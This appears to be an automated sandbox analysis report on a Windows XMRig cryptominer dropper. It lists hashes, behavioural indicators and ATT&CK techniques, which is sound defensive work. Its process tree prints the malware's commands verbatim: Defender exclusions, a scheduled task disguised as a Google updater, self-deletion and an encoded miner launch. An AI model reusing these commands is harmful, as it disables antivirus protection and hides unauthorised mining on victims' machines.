xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
387s
max time network
1810s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2540 created 1220	2540	LM3BR4UBmKBzBP5H.exe	18
PID 2540 created 1220	2540	LM3BR4UBmKBzBP5H.exe	18
PID 2540 created 1220	2540	LM3BR4UBmKBzBP5H.exe	18
PID 2540 created 1220	2540	LM3BR4UBmKBzBP5H.exe	18
PID 2776 created 1220	2776	updater.exe	18
PID 2776 created 1220	2776	updater.exe	18
PID 2776 created 1220	2776	updater.exe	18
PID 2776 created 1220	2776	updater.exe	18
PID 1456 created 1220	1456	conhost.exe	18
PID 2776 created 1220	2776	updater.exe	18

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral17/memory/2556-68-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-141-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-143-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/2556-145-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2628	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2776	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2888	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral17/memory/2556-68-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-141-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-143-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/2556-145-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2776 set thread context of 1456	2776	updater.exe	48
PID 2776 set thread context of 2556	2776	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	LM3BR4UBmKBzBP5H.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2632	schtasks.exe
1616	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1504	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 40749814c250da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2540	LM3BR4UBmKBzBP5H.exe
2540	LM3BR4UBmKBzBP5H.exe
2448	powershell.exe
2540	LM3BR4UBmKBzBP5H.exe
2540	LM3BR4UBmKBzBP5H.exe
2828	powershell.exe
2540	LM3BR4UBmKBzBP5H.exe
2540	LM3BR4UBmKBzBP5H.exe
2540	LM3BR4UBmKBzBP5H.exe
2540	LM3BR4UBmKBzBP5H.exe
2604	powershell.exe
2776	updater.exe
2776	updater.exe
1996	powershell.exe
2776	updater.exe
2776	updater.exe
536	powershell.exe
2776	updater.exe
2776	updater.exe
2776	updater.exe
2776	updater.exe
1456	conhost.exe
1456	conhost.exe
2776	updater.exe
2776	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2448	powershell.exe
Token: SeDebugPrivilege	2828	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	1996	powershell.exe
Token: SeDebugPrivilege	536	powershell.exe
Token: SeDebugPrivilege	2776	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1504	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1504	WMIC.exe
Token: SeSecurityPrivilege	1504	WMIC.exe
Token: SeTakeOwnershipPrivilege	1504	WMIC.exe
Token: SeLoadDriverPrivilege	1504	WMIC.exe
Token: SeSystemtimePrivilege	1504	WMIC.exe
Token: SeBackupPrivilege	1504	WMIC.exe
Token: SeRestorePrivilege	1504	WMIC.exe
Token: SeShutdownPrivilege	1504	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1504	WMIC.exe
Token: SeUndockPrivilege	1504	WMIC.exe
Token: SeManageVolumePrivilege	1504	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1504	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1504	WMIC.exe
Token: SeSecurityPrivilege	1504	WMIC.exe
Token: SeTakeOwnershipPrivilege	1504	WMIC.exe
Token: SeLoadDriverPrivilege	1504	WMIC.exe
Token: SeSystemtimePrivilege	1504	WMIC.exe
Token: SeBackupPrivilege	1504	WMIC.exe
Token: SeRestorePrivilege	1504	WMIC.exe
Token: SeShutdownPrivilege	1504	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1504	WMIC.exe
Token: SeUndockPrivilege	1504	WMIC.exe
Token: SeManageVolumePrivilege	1504	WMIC.exe
Token: SeLockMemoryPrivilege	2556	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2828 wrote to memory of 2632	2828	powershell.exe	32
PID 2828 wrote to memory of 2632	2828	powershell.exe	32
PID 2828 wrote to memory of 2632	2828	powershell.exe	32
PID 2628 wrote to memory of 2644	2628	cmd.exe	37
PID 2628 wrote to memory of 2644	2628	cmd.exe	37
PID 2628 wrote to memory of 2644	2628	cmd.exe	37
PID 2604 wrote to memory of 2988	2604	powershell.exe	38
PID 2604 wrote to memory of 2988	2604	powershell.exe	38
PID 2604 wrote to memory of 2988	2604	powershell.exe	38
PID 2888 wrote to memory of 2776	2888	taskeng.exe	40
PID 2888 wrote to memory of 2776	2888	taskeng.exe	40
PID 2888 wrote to memory of 2776	2888	taskeng.exe	40
PID 536 wrote to memory of 1616	536	powershell.exe	47
PID 536 wrote to memory of 1616	536	powershell.exe	47
PID 536 wrote to memory of 1616	536	powershell.exe	47
PID 2776 wrote to memory of 1456	2776	updater.exe	48
PID 2684 wrote to memory of 1504	2684	cmd.exe	53
PID 2684 wrote to memory of 1504	2684	cmd.exe	53
PID 2684 wrote to memory of 1504	2684	cmd.exe	53
PID 2776 wrote to memory of 2556	2776	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1220
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2632
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2628
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:536
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1616
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1456
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2684
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1504
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2380
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2556

C:\Windows\system32\taskeng.exe
taskeng.exe {F3D12A7C-96C9-426D-9F0F-9163BEAE7FEC} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2888
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
1.1MB

MD5
a69ea86adf49144e7e32a0f01ba2b4b0

SHA1
7164511821c60343152bb1c336a9b7ade4cfed51

SHA256
514abeeafeacaa125d7f1db695275c4c7d630bd3169cfd07bcf2fd147bbddd9d

SHA512
abf33b3ed9bb82f2259747cbebbd962c024315605fa6c3e679464fa9d769aed6878959fcdee587c01d558ce8cc530972d80af3272fd38e46e2f7c16ee2ae0920

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f999b80a83ffa54d7aa6345e0b67f615

SHA1
eed746213acef3e074cf51d193305b13ffbb4469

SHA256
498ad0eddef7d76f7bd3d43a3a9ed91d4f046018d072d2b98642c84ba2a55ec3

SHA512
546a7d5021f8f5549c8bdb18adc8c3f3d97f1199cbb4dbf4b9ed7dfea2c4345dcf1da1cf42db8873b104f3ee81434470c9bfaeba4e4e6480dbedd7b188b60d48

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/536-54-0x0000000000ED0000-0x0000000000F50000-memory.dmp

Filesize
512KB

Download
memory/536-58-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/536-53-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/536-56-0x0000000000ED0000-0x0000000000F50000-memory.dmp

Filesize
512KB

Download
memory/536-55-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/536-57-0x0000000000ED0000-0x0000000000F50000-memory.dmp

Filesize
512KB

Download
memory/1456-75-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1456-71-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1996-50-0x0000000001050000-0x00000000010D0000-memory.dmp

Filesize
512KB

Download
memory/1996-45-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

Filesize
9.6MB

Download
memory/1996-46-0x0000000001050000-0x00000000010D0000-memory.dmp

Filesize
512KB

Download
memory/1996-48-0x0000000001050000-0x00000000010D0000-memory.dmp

Filesize
512KB

Download
memory/1996-47-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

Filesize
9.6MB

Download
memory/1996-49-0x0000000001050000-0x00000000010D0000-memory.dmp

Filesize
512KB

Download
memory/1996-51-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

Filesize
9.6MB

Download
memory/2448-11-0x0000000002680000-0x0000000002700000-memory.dmp

Filesize
512KB

Download
memory/2448-12-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/2448-7-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/2448-6-0x0000000002260000-0x0000000002268000-memory.dmp

Filesize
32KB

Download
memory/2448-10-0x0000000002680000-0x0000000002700000-memory.dmp

Filesize
512KB

Download
memory/2448-9-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/2448-5-0x000000001B250000-0x000000001B532000-memory.dmp

Filesize
2.9MB

Download
memory/2448-8-0x0000000002680000-0x0000000002700000-memory.dmp

Filesize
512KB

Download
memory/2540-27-0x000000013F1E0000-0x000000013F3F1000-memory.dmp

Filesize
2.1MB

Download
memory/2540-0-0x000000013F1E0000-0x000000013F3F1000-memory.dmp

Filesize
2.1MB

Download
memory/2556-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-145-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-143-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-141-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-139-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-67-0x00000000001B0000-0x00000000001D0000-memory.dmp

Filesize
128KB

Download
memory/2556-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-68-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-69-0x0000000000410000-0x0000000000430000-memory.dmp

Filesize
128KB

Download
memory/2556-70-0x0000000000780000-0x00000000007A0000-memory.dmp

Filesize
128KB

Download
memory/2556-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-79-0x0000000000410000-0x0000000000430000-memory.dmp

Filesize
128KB

Download
memory/2556-80-0x0000000000780000-0x00000000007A0000-memory.dmp

Filesize
128KB

Download
memory/2556-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2556-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2604-34-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/2604-40-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/2604-39-0x0000000002770000-0x00000000027F0000-memory.dmp

